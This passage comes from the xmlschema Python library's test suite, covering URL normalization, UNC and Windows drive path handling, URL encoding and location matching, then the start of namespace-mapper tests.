cls.casepath('examples/collection/collection.xsd') cls.col_xml_file = cls.casepath('examples/collection/collection.xml') def check_url(self, url, expected): url_parts = urlsplit(url) if urlsplit(expected).scheme in DRIVE_LETTERS: expected = add_leading_slash(expected) expected_parts = urlsplit(expected, scheme='file') self.assertEqual(url_parts.scheme, expected_parts.scheme, "%r: Schemes differ." % url) self.assertEqual(url_parts.netloc, expected_parts.netloc, "%r: Netloc parts differ." % url) self.assertEqual(url_parts.query, expected_parts.query, "%r: Query parts differ." % url) self.assertEqual(url_parts.fragment, expected_parts.fragment, "%r: Fragment parts differ." % url) if is_windows_path(url_parts.path) or is_windows_path(expected_parts.path): path = PureWindowsPath(filter_windows_path(url_parts.path)) expected_path = PureWindowsPath(filter_windows_path(expected_parts.path)) else: path = PurePath(url_parts.path) expected_path = PurePath(expected_parts.path) self.assertEqual(path, expected_path, "%r: Paths differ." % url) def test_urlsplit(self): url = "https://xmlschema.test/schema/test.xsd" self.assertEqual( urlsplit(url), ("https", "xmlschema.test", "/schema/test.xsd", '', '') ) url = "https://xmlschema.test/xs:schema/test.xsd" self.assertEqual( urlsplit(url), ("https", "xmlschema.test", "/xs:schema/test.xsd", '', '') ) url = "https://xmlschema.test/schema/test.xsd#xs:element" self.assertEqual( urlsplit(url), ("https", "xmlschema.test", "/schema/test.xsd", '', 'xs:element') ) url = "https://xmlschema.test@username:password/schema/test.xsd" self.assertEqual( urlsplit(url), ("https", "xmlschema.test@username:password", "/schema/test.xsd", '', '') ) url = "https://xmlschema.test/schema/test.xsd?id=10" self.assertEqual( urlsplit(url), ("https", "xmlschema.test", "/schema/test.xsd", 'id=10', '') ) def test_path_from_uri(self): if platform.system() == 'Windows': default_class = LocationWindowsPath else: default_class = LocationPosixPath path = LocationPath.from_uri('') self.assertEqual(str(path), '.') path = LocationPath.from_uri('https://example.com/names/?name=foo') self.assertIsInstance(path, LocationPosixPath) self.assertEqual(str(path), '/names') path = LocationPosixPath.from_uri('file:///home/foo/names/?name=foo') self.assertIsInstance(path, default_class) self.assertEqual(str(path).replace('\\', '/'), '/home/foo/names/?name=foo') path = LocationPosixPath.from_uri('file:///home/foo/names#foo') self.assertIsInstance(path, default_class) self.assertEqual(str(path).replace('\\', '/'), '/home/foo/names#foo') path = LocationPath.from_uri('file:///home\\foo\\names#foo') self.assertTrue(path.as_posix().endswith('/home/foo/names#foo')) self.assertIsInstance(path, LocationWindowsPath) path = LocationPosixPath.from_uri('file:///c:/home/foo/names/') self.assertIsInstance(path, LocationWindowsPath) path = LocationPath.from_uri('file:///c:/home/foo/names/') self.assertIsInstance(path, LocationWindowsPath) self.assertEqual(str(path), r'c:\home\foo\names') self.assertEqual(path.as_uri(), 'file:///c:/home/foo/names') path = LocationPosixPath.from_uri('file:c:/home/foo/names/') self.assertIsInstance(path, LocationWindowsPath) path = LocationPath.from_uri('file:c:/home/foo/names/') self.assertIsInstance(path, LocationWindowsPath) self.assertEqual(str(path), r'c:\home\foo\names') self.assertEqual(path.as_uri(), 'file:///c:/home/foo/names') with self.assertRaises(ValueError) as ec: LocationPath.from_uri('file://c:/home/foo/names/') self.assertEqual(str(ec.exception), "Invalid URI 'file://c:/home/foo/names/'") def test_get_uri(self): for url in URL_CASES: self.assertEqual(get_uri(*urlsplit(url)), url) url = 'D:/a/xmlschema/xmlschema/tests/test_cases/examples/' self.assertNotEqual(get_uri(*urlsplit(url)), url) def test_get_uri_path(self): self.assertEqual(get_uri_path('https', 'host', 'path', 'id=7', 'types'), '//host/path') self.assertEqual(get_uri_path('k', '', 'path/file', 'id=7', 'types'), 'path/file?id=7#types') self.assertEqual(get_uri_path('file', '', 'path/file', 'id=7', 'types'), 'path/file') def test_urn_uri(self): with self.assertRaises(ValueError) as ec: LocationPath.from_uri("urn:ietf:rfc:2648") self.assertIn("Can't create", str(ec.exception)) self.assertEqual(get_uri(scheme='urn', path='ietf:rfc:2648'), 'urn:ietf:rfc:2648') self.assertEqual(get_uri_path(scheme='urn', path='ietf:rfc:2648'), 'ietf:rfc:2648') with self.assertRaises(ValueError) as ec: get_uri_path(get_uri_path(scheme='urn', path='ietf:rfc:2648:')) self.assertIn("Invalid URN path ", str(ec.exception)) for arg in ('authority', 'query', 'fragment'): with self.assertRaises(ValueError) as ec: get_uri_path(get_uri_path(scheme='urn', path='ietf:rfc:2648:', **{arg: 'foo'})) self.assertEqual( str(ec.exception), "An URN can have only scheme and path components" ) @unittest.skipIf(platform.system() == 'Windows', "Run only on posix systems") def test_normalize_url_posix(self): url1 = "https://example.com/xsd/other_schema.xsd" self.check_url(normalize_url(url1, base_url="/path_my_schema/schema.xsd"), url1) parent_dir = os.path.dirname(os.getcwd()) self.check_url(normalize_url('../dir1/./dir2'), os.path.join(parent_dir, 'dir1/dir2')) self.check_url(normalize_url('../dir1/./dir2', '/home', keep_relative=True), 'file:///dir1/dir2') self.check_url(normalize_url('../dir1/./dir2', 'file:///home'), 'file:///dir1/dir2') self.check_url(normalize_url('other.xsd', 'file:///home'), 'file:///home/other.xsd') self.check_url(normalize_url('other.xsd', 'file:///home/'), 'file:///home/other.xsd') self.check_url(normalize_url('file:other.xsd', 'file:///home'), 'file:///home/other.xsd') cwd = os.getcwd() cwd_url = f'file://{cwd}/' if cwd.startswith('/') else f'file:///{cwd}/' self.check_url(normalize_url('other.xsd', keep_relative=True), 'file:other.xsd') self.check_url(normalize_url('file:other.xsd', keep_relative=True), 'file:other.xsd') self.check_url(normalize_url('file:other.xsd'), cwd_url + 'other.xsd') self.check_url(normalize_url('file:other.xsd', 'https://site/base', True), 'file:other.xsd') self.check_url(normalize_url('file:other.xsd', 'http://site/base'), cwd_url + 'other.xsd') self.check_url(normalize_url('dummy path.xsd'), cwd_url + 'dummy%20path.xsd') self.check_url(normalize_url('dummy path.xsd', 'http://site/base'), 'http://site/base/dummy%20path.xsd') self.assertEqual(normalize_url('dummy path.xsd', 'file://host/home/'), 'file:////host/home/dummy%20path.xsd') url = "file:///c:/Downloads/file.xsd" self.check_url(normalize_url(url, base_url="file:///d:/Temp/"), url) def test_normalize_url_windows(self): win_abs_path1 = 'z:\\Dir_1_0\\Dir2-0\\schemas/XSD_1.0/XMLSchema.xsd' win_abs_path2 = 'z:\\Dir-1.0\\Dir-2_0\\' self.check_url(normalize_url(win_abs_path1), win_abs_path1) self.check_url(normalize_url('k:\\Dir3\\schema.xsd', win_abs_path1), 'file:///k:/Dir3/schema.xsd') self.check_url(normalize_url('k:\\Dir3\\schema.xsd', win_abs_path2), 'file:///k:/Dir3/schema.xsd') self.check_url(normalize_url('schema.xsd', win_abs_path2), 'file:///z:/Dir-1.0/Dir-2_0/schema.xsd') self.check_url(normalize_url('xsd1.0/schema.xsd', win_abs_path2), 'file:///z:/Dir-1.0/Dir-2_0/xsd1.0/schema.xsd') with self.assertRaises(ValueError) as ec: normalize_url('file:///\\k:\\Dir A\\schema.xsd') self.assertIn("Invalid URI", str(ec.exception)) base_url = 'D:/a/xmlschema/xmlschema/tests/test_cases/examples/' self.assertEqual(normalize_url('vehicles.xsd', base_url), f'file:///{base_url}vehicles.xsd') def test_normalize_url_unc_paths__issue_246(self): url = uri_from_path(PureWindowsPath(r'\\host\share\file.xsd')) self.assertNotEqual(normalize_url(r'\\host\share\file.xsd'), url) # file://host/share/file.xsd self.assertEqual(normalize_url(r'\\host\share\file.xsd'), url.replace('file://', 'file:////')) def test_normalize_url_unc_paths__issue_268(self,): with warnings.catch_warnings(): warnings.simplefilter("ignore") unc_path = r'\\filer01\MY_HOME\dev\XMLSCHEMA\test.xsd' url = uri_from_path(PureWindowsPath(unc_path)) self.assertEqual(str(PureWindowsPath(unc_path)), unc_path) self.assertEqual(url, 'file://filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') # Same UNC path as URI with the host inserted in path. url_host_in_path = url.replace('file://', 'file:////') self.assertEqual(url_host_in_path, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') self.assertEqual(normalize_url(unc_path), url_host_in_path) with patch.object(os, 'name', 'nt'): self.assertEqual(os.name, 'nt') path = PurePath(unc_path) self.assertIs(path.__class__, PureWindowsPath) self.assertEqual(uri_from_path(path), url) self.assertEqual(xmlschema.utils.urls.os.name, 'nt') path = LocationPath(unc_path) self.assertIs(path.__class__, LocationWindowsPath) self.assertEqual(path.as_uri(), url_host_in_path) self.assertEqual(normalize_url(unc_path), url_host_in_path) with patch.object(os, 'name', 'posix'): self.assertEqual(os.name, 'posix') path = PurePath(unc_path) self.assertIs(path.__class__, PurePosixPath) self.assertEqual(str(path), unc_path) self.assertRaises(ValueError, path.as_uri) # Not recognized as UNC path self.assertEqual(xmlschema.utils.urls.os.name, 'posix') path = LocationPath(unc_path) self.assertIs(path.__class__, LocationPosixPath) self.assertEqual(str(path), unc_path) self.assertNotEqual(path.as_uri(), url) self.assertEqual(normalize_url(unc_path), url_host_in_path) @unittest.skipIf(platform.system() != 'Windows', "Run only on Windows systems") def test_normalize_url_with_base_unc_path_on_windows(self,): base_unc_path = '\\\\filer01\\MY_HOME\\' base_url = PureWindowsPath(base_unc_path).as_uri() self.assertEqual(str(PureWindowsPath(base_unc_path)), base_unc_path) self.assertEqual(base_url, 'file://filer01/MY_HOME/') # Same UNC path as URI with the host inserted in path base_url_host_in_path = base_url.replace('file://', 'file:////') self.assertEqual(base_url_host_in_path, 'file:////filer01/MY_HOME/') self.assertEqual(normalize_url(base_unc_path), base_url_host_in_path) self.assertEqual(os.name, 'nt') path = PurePath('dir/file') self.assertIs(path.__class__, PureWindowsPath) url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_unc_path) self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url) self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url_host_in_path) if is_unc_path('////filer01/MY_HOME/'): self.assertEqual(url, 'file://////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') else: self.assertRegex( url, f'file://{DRIVE_REGEX}/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd' ) @unittest.skipIf(platform.system() == 'Windows', "Skip on Windows systems") def test_normalize_url_with_base_unc_path_on_others(self,): base_unc_path = '\\\\filer01\\MY_HOME\\' base_url = uri_from_path(PureWindowsPath(base_unc_path)) self.assertEqual(str(PureWindowsPath(base_unc_path)), base_unc_path) self.assertEqual(base_url, 'file://filer01/MY_HOME/') # Same UNC path as URI with the host inserted in path base_url_host_in_path = base_url.replace('file://', 'file:////') self.assertEqual(base_url_host_in_path, 'file:////filer01/MY_HOME/') self.assertEqual(normalize_url(base_unc_path), base_url_host_in_path) url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_unc_path) self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url=base_url) self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url=base_url_host_in_path) if is_unc_path('////'): self.assertEqual(url, 'file://////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') else: self.assertRegex( url, f'file://{DRIVE_REGEX}/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd' ) with patch.object(os, 'name', 'nt'): self.assertEqual(os.name, 'nt') path = PurePath('dir/file') self.assertIs(path.__class__, PureWindowsPath) url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_unc_path) self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url) self.assertEqual(url, 'file:////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') url = normalize_url(r'dev\XMLSCHEMA\test.xsd', base_url=base_url_host_in_path) if is_unc_path('////filer01/MY_HOME/'): self.assertEqual(url, 'file://////filer01/MY_HOME/dev/XMLSCHEMA/test.xsd') else: self.assertRegex( url, f'file://{DRIVE_REGEX}/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd' ) def test_normalize_url_slashes(self): # Issue #116 url = '//anaconda/envs/testenv/lib/python3.6/site-packages/xmlschema/validators/schemas/' if os.name == 'posix': normalize_url(url) self.assertEqual(normalize_url(url), uri_from_path(pathlib.PurePath(url))) else: # On Windows // is interpreted as a network share UNC path self.assertEqual(os.name, 'nt') self.assertEqual(normalize_url(url), pathlib.PurePath(url).as_uri().replace('file://', 'file:////')) self.assertRegex(normalize_url('/root/dir1/schema.xsd'), f'file://{DRIVE_REGEX}/root/dir1/schema.xsd') if is_unc_path('////root/dir1/schema.xsd'): self.assertRegex(normalize_url('////root/dir1/schema.xsd'), f'file://{DRIVE_REGEX}////root/dir1/schema.xsd') self.assertRegex(normalize_url('dir2/schema.xsd', '////root/dir1'), f'file://{DRIVE_REGEX}////root/dir1/dir2/schema.xsd') else: # If the Python release is not capable to detect the UNC path self.assertRegex(normalize_url('////root/dir1/schema.xsd'), f'file://{DRIVE_REGEX}/root/dir1/schema.xsd') self.assertRegex(normalize_url('dir2/schema.xsd', '////root/dir1'), f'file://{DRIVE_REGEX}/root/dir1/dir2/schema.xsd') self.assertEqual(normalize_url('//root/dir1/schema.xsd'), 'file:////root/dir1/schema.xsd') self.assertEqual(normalize_url('dir2/schema.xsd', '//root/dir1/'), 'file:////root/dir1/dir2/schema.xsd') self.assertEqual(normalize_url('dir2/schema.xsd', '//root/dir1'), 'file:////root/dir1/dir2/schema.xsd') def test_normalize_url_hash_character(self): url = normalize_url('issue #000.xml', 'file:///dir1/dir2/') self.assertRegex(url, f'file://{DRIVE_REGEX}/dir1/dir2/issue%20') url = normalize_url('issue%20%23000.xml', 'file:///dir1/dir2/') self.assertRegex(url, f'file://{DRIVE_REGEX}/dir1/dir2/issue%20%23000.xml') url = normalize_url('data.xml', 'file:///dir1/dir2/issue%20001') self.assertRegex(url, f'file://{DRIVE_REGEX}/dir1/dir2/issue%20001/data.xml') url = normalize_url('data.xml', '/dir1/dir2/issue%20%23002') self.assertRegex(url, f'{DRIVE_REGEX}/dir1/dir2/issue%20%23002/data.xml') url = normalize_url('test.#.again.xml', 'file:///dir1/dir2/') self.assertRegex(url, f'{DRIVE_REGEX}/dir1/dir2/test.%23.again.xml') def test_normalize_url_with_query_part(self): url = "https://xmlschema.test/schema 2/test.xsd?name=2 id=3" self.assertEqual( normalize_url(url), "https://xmlschema.test/schema%202/test.xsd?name=2%20id=3" ) url = "https://xmlschema.test/schema 2/test.xsd?name=2 id=3" self.assertEqual( normalize_url(url, method='html'), "https://xmlschema.test/schema%202/test.xsd?name=2+id=3" ) url = "/path/schema 2/test.xsd?name=2 id=3" self.assertRegex( normalize_url(url), f'file://{DRIVE_REGEX}/path/schema%202/test.xsd' ) self.assertRegex( normalize_url('other.xsd?id=2', 'file:///home?name=2&id='), f'file://{DRIVE_REGEX}/home%3Fname%3D2%26id%3D/other.xsd%3Fid%3D2' ) self.assertRegex( normalize_url('other.xsd#element', 'file:///home#attribute'), f'file://{DRIVE_REGEX}/home%23attribute/other.xsd%23element' ) self.check_url(normalize_url('other.xsd?id=2', 'https://host/path?name=2&id='), 'https://host/path/other.xsd?id=2') self.check_url(normalize_url('other.xsd#element', 'https://host/path?name=2&id='), 'https://host/path/other.xsd#element') def test_normalize_url_with_local_part(self): # https://datatracker.ietf.org/doc/html/rfc8089#appendix-E.2 url = "file:c:/path/to/file" self.assertIn(urlsplit(url).geturl(), (url, 'file:///c:/path/to/file')) self.assertIn(normalize_url(url), (url, 'file:///c:/path/to/file')) url = "file:///c:/path/to/file" self.assertEqual(urlsplit(url).geturl(), url) self.assertEqual(normalize_url(url), url) def test_normalize_url_with_base_url_with_local_part(self): base_url = "file:///D:/a/xmlschema/xmlschema/filer01/MY_HOME" url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url) self.assertEqual( url, "file:///D:/a/xmlschema/xmlschema/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd" ) base_url = "file:D:/a/xmlschema/xmlschema/filer01/MY_HOME" url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url) self.assertEqual( url, "file:///D:/a/xmlschema/xmlschema/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd" ) base_url = "D:\\a\\xmlschema\\xmlschema/\\/filer01/MY_HOME" url = normalize_url(r'dev/XMLSCHEMA/test.xsd', base_url) self.assertEqual( url, "file:///D:/a/xmlschema/xmlschema/filer01/MY_HOME/dev/XMLSCHEMA/test.xsd" ) def test_is_url_function(self): self.assertTrue(is_url(self.col_xsd_file)) self.assertFalse(is_url('http://example.com[')) self.assertTrue(is_url(b'http://example.com')) self.assertFalse(is_url(' \t')) self.assertFalse(is_url(b' ')) self.assertFalse(is_url('line1\nline2')) self.assertFalse(is_url(None)) def test_is_local_url_function(self): self.assertTrue(is_local_url(self.col_xsd_file)) self.assertTrue(is_local_url(Path(self.col_xsd_file))) self.assertTrue(is_local_url('/home/user/')) self.assertFalse(is_local_url('')) self.assertTrue(is_local_url('/home/user/schema.xsd')) self.assertTrue(is_local_url(' /home/user/schema.xsd ')) self.assertTrue(is_local_url('C:\\Users\\foo\\schema.xsd')) self.assertTrue(is_local_url(' file:///home/user/schema.xsd')) self.assertFalse(is_local_url('http://example.com/schema.xsd')) self.assertTrue(is_local_url(b'/home/user/')) self.assertFalse(is_local_url(b'')) self.assertTrue(is_local_url(b'/home/user/schema.xsd')) self.assertTrue(is_local_url(b' /home/user/schema.xsd ')) self.assertTrue(is_local_url(b'C:\\Users\\foo\\schema.xsd')) self.assertTrue(is_local_url(b' file:///home/user/schema.xsd')) self.assertFalse(is_local_url(b'http://example.com/schema.xsd')) def test_is_remote_url_function(self): self.assertFalse(is_remote_url(self.col_xsd_file)) self.assertFalse(is_remote_url('/home/user/')) self.assertFalse(is_remote_url('')) self.assertFalse(is_remote_url('/home/user/schema.xsd')) self.assertFalse(is_remote_url(' file:///home/user/schema.xsd')) self.assertTrue(is_remote_url(' http://example.com/schema.xsd')) self.assertFalse(is_remote_url(b'/home/user/')) self.assertFalse(is_remote_url(b'')) self.assertFalse(is_remote_url(b'/home/user/schema.xsd')) self.assertFalse(is_remote_url(b' file:///home/user/schema.xsd')) self.assertTrue(is_remote_url(b' http://example.com/schema.xsd')) def test_url_path_is_file_function(self): self.assertTrue(location_is_file(self.col_xml_file)) self.assertTrue(location_is_file(normalize_url(self.col_xml_file))) self.assertFalse(location_is_file(self.col_dir)) self.assertFalse(location_is_file('http://example.com/')) with patch('platform.system', MagicMock(return_value="Windows")): self.assertFalse(location_is_file('file:///c:/Windows/unknown')) def test_is_unc_path_function(self): self.assertFalse(is_unc_path('')) self.assertFalse(is_unc_path('foo')) self.assertFalse(is_unc_path('foo\\bar')) self.assertFalse(is_unc_path('foo/bar')) self.assertFalse(is_unc_path('\\')) self.assertFalse(is_unc_path('/')) self.assertFalse(is_unc_path('\\foo\\bar')) self.assertFalse(is_unc_path('/foo/bar')) self.assertFalse(is_unc_path('c:foo/bar')) self.assertFalse(is_unc_path('c:\\foo\\bar')) self.assertFalse(is_unc_path('c:/foo/bar')) self.assertTrue(is_unc_path('/\\host/share/path')) self.assertTrue(is_unc_path('\\/host\\share/path')) self.assertTrue(is_unc_path('//host/share/dir/file')) self.assertTrue(is_unc_path('//?/UNC/server/share/dir')) if sys.version_info >= (3, 12, 5): # Generally these tests fail with older Python releases, due to # bug/limitation of old versions of ntpath.splitdrive() self.assertTrue(is_unc_path('//')) self.assertTrue(is_unc_path('\\\\')) self.assertTrue(is_unc_path('\\\\host\\share\\foo\\bar')) self.assertTrue(is_unc_path('\\\\?\\UNC\\server\\share\\dir')) self.assertTrue(is_unc_path('////')) self.assertTrue(is_unc_path('////host/share/schema.xsd')) def test_is_drive_path_function(self): self.assertFalse(is_drive_path('')) self.assertFalse(is_drive_path('foo')) self.assertFalse(is_drive_path('foo\\bar')) self.assertFalse(is_drive_path('foo/bar')) self.assertFalse(is_drive_path('\\')) self.assertFalse(is_drive_path('/')) self.assertFalse(is_drive_path('\\foo\\bar')) self.assertFalse(is_drive_path('/foo/bar')) self.assertTrue(is_drive_path('c:foo/bar')) self.assertTrue(is_drive_path('c:\\foo\\bar')) self.assertTrue(is_drive_path('c:/foo/bar')) self.assertFalse(is_drive_path('/c:foo/bar')) self.assertFalse(is_drive_path('\\c:\\foo\\bar')) self.assertFalse(is_drive_path('/c:/foo/bar')) self.assertFalse(is_drive_path('/\\host/share/path')) self.assertFalse(is_drive_path('\\/host\\share/path')) self.assertFalse(is_drive_path('//host/share/dir/file')) self.assertFalse(is_drive_path('//?/UNC/server/share/dir')) def test_is_encoded_url(self): self.assertFalse(is_encoded_url("https://xmlschema.test/schema/test.xsd")) self.assertTrue(is_encoded_url("https://xmlschema.test/schema/issue%20%231999.xsd")) self.assertFalse(is_encoded_url("a b c")) self.assertFalse(is_encoded_url("a+b+c")) self.assertFalse(is_encoded_url("a b+c")) def test_is_safe_url(self): self.assertTrue(is_safe_url("https://xmlschema.test/schema/test.xsd")) self.assertFalse(is_safe_url("https://xmlschema.test/schema 2/test.xsd")) self.assertTrue(is_safe_url("https://xmlschema.test/schema/test.xsd#elements")) self.assertTrue(is_safe_url("https://xmlschema.test/schema/test.xsd?id=2")) self.assertFalse(is_safe_url("https://xmlschema.test/schema/test.xsd?id=2 name=foo")) def test_encode_and_decode_url(self): url = "https://xmlschema.test/schema/test.xsd" self.assertEqual(encode_url(url), url) self.assertEqual(decode_url(encode_url(url)), url) url = "https://xmlschema.test/schema 2/test.xsd" self.assertEqual(encode_url(url), "https://xmlschema.test/schema%202/test.xsd") self.assertEqual(decode_url(encode_url(url)), url) url = "https://xmlschema.test@u:p/xs:schema@2/test.xsd" self.assertEqual(encode_url(url), "https://xmlschema.test@u:p/xs%3Aschema%402/test.xsd") self.assertEqual(decode_url(encode_url(url)), url) url = "https://xmlschema.test/schema 2/test.xsd?name=2 id=3" self.assertEqual( encode_url(url), "https://xmlschema.test/schema%202/test.xsd?name=2%20id=3") self.assertEqual(decode_url(encode_url(url)), url) self.assertEqual(encode_url(url, method='html'), "https://xmlschema.test/schema%202/test.xsd?name=2+id=3") self.assertEqual(decode_url(encode_url(url, method='html'), method='html'), url) self.assertEqual(decode_url(encode_url(url), method='html'), url) self.assertNotEqual(decode_url(encode_url(url, method='html')), url) def test_normalize_locations_function(self): locations = normalize_locations( [('tns0', 'alpha'), ('tns1', 'http://example.com/beta')], base_url='/home/user' ) self.assertEqual(locations[0][0], 'tns0') self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') self.assertEqual(locations[1][0], 'tns1') self.assertEqual(locations[1][1], 'http://example.com/beta') locations = normalize_locations( {'tns0': 'alpha', 'tns1': 'http://example.com/beta'}, base_url='/home/user' ) self.assertEqual(locations[0][0], 'tns0') self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') self.assertEqual(locations[1][0], 'tns1') self.assertEqual(locations[1][1], 'http://example.com/beta') locations = normalize_locations( {'tns0': ['alpha', 'beta'], 'tns1': 'http://example.com/beta'}, base_url='/home/user' ) self.assertEqual(locations[0][0], 'tns0') self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/home/user/alpha') self.assertEqual(locations[1][0], 'tns0') self.assertRegex(locations[1][1], f'file://{DRIVE_REGEX}/home/user/beta') self.assertEqual(locations[2][0], 'tns1') self.assertEqual(locations[2][1], 'http://example.com/beta') locations = normalize_locations( {'tns0': 'alpha', 'tns1': 'http://example.com/beta'}, keep_relative=True ) self.assertListEqual(locations, [('tns0', 'file:alpha'), ('tns1', 'http://example.com/beta')]) def test_match_location(self): self.assertIsNone(match_location('schema.xsd', [])) locations = ['schema1.xsd', 'schema'] self.assertIsNone(match_location('schema.xsd', locations)) locations = ['schema.xsd', 'schema'] self.assertEqual(match_location('schema.xsd', locations), 'schema.xsd') locations = ['schema', 'schema.xsd'] self.assertEqual(match_location('schema.xsd', locations), 'schema.xsd') locations = ['../schema.xsd', 'a/schema.xsd'] self.assertIsNone(match_location('schema.xsd', locations)) locations = ['../schema.xsd', 'b/schema.xsd'] self.assertEqual(match_location('a/schema.xsd', locations), '../schema.xsd') locations = ['../schema.xsd', 'a/schema.xsd'] self.assertEqual(match_location('a/schema.xsd', locations), 'a/schema.xsd') locations = ['../schema.xsd', './a/schema.xsd'] self.assertEqual(match_location('a/schema.xsd', locations), './a/schema.xsd') locations = ['/../schema.xsd', '/a/schema.xsd'] self.assertIsNone(match_location('a/schema.xsd', locations)) self.assertEqual(match_location('/a/schema.xsd', locations), '/a/schema.xsd') self.assertEqual(match_location('/schema.xsd', locations), '/../schema.xsd') if __name__ == '__main__': run_xmlschema_tests("locations.py module") xmlschema-4.1.0/tests/test_namespaces.py000066400000000000000000000527001502040105500203630ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # import io import unittest import copy from textwrap import dedent from xmlschema import XMLResource, XMLSchemaConverter from xmlschema.locations import get_locations from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE from xmlschema.namespaces import NamespaceMapper, NamespaceResourcesMap class TestNamespaceMapper(unittest.TestCase): @classmethod def setUpClass(cls): cls.xml_data = dedent("""\ """) def test_init(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces) self.assertEqual(mapper, namespaces) self.assertIsNot(namespaces, mapper.namespaces) def test_dictionary_methods(self): namespaces = dict(xs=XSD_NAMESPACE) mapper = NamespaceMapper(namespaces) mapper['xsi'] = XSI_NAMESPACE self.assertEqual(mapper, dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE)) del mapper['xs'] self.assertEqual(len(mapper), 1) self.assertEqual(mapper, dict(xsi=XSI_NAMESPACE)) mapper.clear() self.assertEqual(mapper, {}) def test_strip_namespaces_and_process_namespaces_arguments(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces, strip_namespaces=False) self.assertFalse(mapper.strip_namespaces) self.assertTrue(mapper.process_namespaces) self.assertTrue(mapper._use_namespaces) self.assertEqual(mapper.map_qname('{%s}name' % XSD_NAMESPACE), 'xs:name') self.assertEqual(mapper.map_qname('{unknown}name'), '{unknown}name') mapper = NamespaceMapper(namespaces, strip_namespaces=True) self.assertTrue(mapper.strip_namespaces) self.assertTrue(mapper.process_namespaces) self.assertFalse(mapper._use_namespaces) self.assertEqual(mapper.map_qname('{%s}name' % XSD_NAMESPACE), 'name') self.assertEqual(mapper.map_qname('{unknown}name'), 'name') mapper = NamespaceMapper(namespaces, process_namespaces=True) self.assertEqual(mapper.map_qname('{%s}name' % XSD_NAMESPACE), 'xs:name') self.assertEqual(mapper.map_qname('{unknown}name'), '{unknown}name') mapper = NamespaceMapper(namespaces, process_namespaces=False) self.assertEqual(mapper.map_qname(f'{XSD_NAMESPACE}name'), f'{XSD_NAMESPACE}name') self.assertEqual(mapper.map_qname('{unknown}name'), '{unknown}name') mapper = NamespaceMapper(namespaces, process_namespaces=False, strip_namespaces=True) self.assertEqual(mapper.map_qname('{%s}name' % XSD_NAMESPACE), 'name') self.assertEqual(mapper.map_qname('{unknown}name'), 'name') def test_xmlns_processing_argument_with_resource(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) resource = XMLResource('') kwargs = { 'namespaces': namespaces, 'source': resource, } mapper = NamespaceMapper(**kwargs) self.assertEqual(mapper.xmlns_processing, 'stacked') self.assertIsNotNone(mapper._xmlns_getter) mapper = NamespaceMapper(namespaces) self.assertEqual(mapper.xmlns_processing, 'none') self.assertIsNone(mapper._xmlns_getter) mapper = NamespaceMapper(xmlns_processing='collapsed', **kwargs) self.assertEqual(mapper.xmlns_processing, 'collapsed') self.assertIsNotNone(mapper._xmlns_getter) mapper = NamespaceMapper(xmlns_processing='root-only', **kwargs) self.assertEqual(mapper.xmlns_processing, 'root-only') self.assertIsNotNone(mapper._xmlns_getter) mapper = NamespaceMapper(xmlns_processing='none', **kwargs) self.assertEqual(mapper.xmlns_processing, 'none') self.assertIsNone(mapper._xmlns_getter) def test_xmlns_processing_argument_with_data_source(self): namespaces = dict(xs=XSD_NAMESPACE, xsi=XSI_NAMESPACE) mapper = NamespaceMapper(namespaces, source=dict()) self.assertEqual(mapper.xmlns_processing, 'none') self.assertIsNone(mapper._xmlns_getter) mapper = NamespaceMapper(namespaces, xmlns_processing='collapsed', source=dict()) self.assertEqual(mapper.xmlns_processing, 'collapsed') self.assertIsNotNone(mapper._xmlns_getter) # None can be a valid decoded value in certain cases mapper = NamespaceMapper(namespaces, xmlns_processing='collapsed', source=None) self.assertEqual(mapper.xmlns_processing, 'collapsed') self.assertIsNotNone(mapper._xmlns_getter) def test_invalid_xmlns_processing_argument(self): with self.assertRaises(ValueError): NamespaceMapper(xmlns_processing='nothing') with self.assertRaises(TypeError): NamespaceMapper(xmlns_processing=False) def test_source_argument(self): resource = XMLResource('') mapper = NamespaceMapper(source=resource) self.assertIs(mapper.source, resource) self.assertIsNotNone(mapper._xmlns_getter) mapper = NamespaceMapper() self.assertIsNone(mapper.source) self.assertIsNone(mapper._xmlns_getter) def test_get_xmlns_from_data(self): self.assertIsNone(NamespaceMapper().get_xmlns_from_data({})) def test_get_namespaces(self): namespaces = dict(xs=XSD_NAMESPACE, 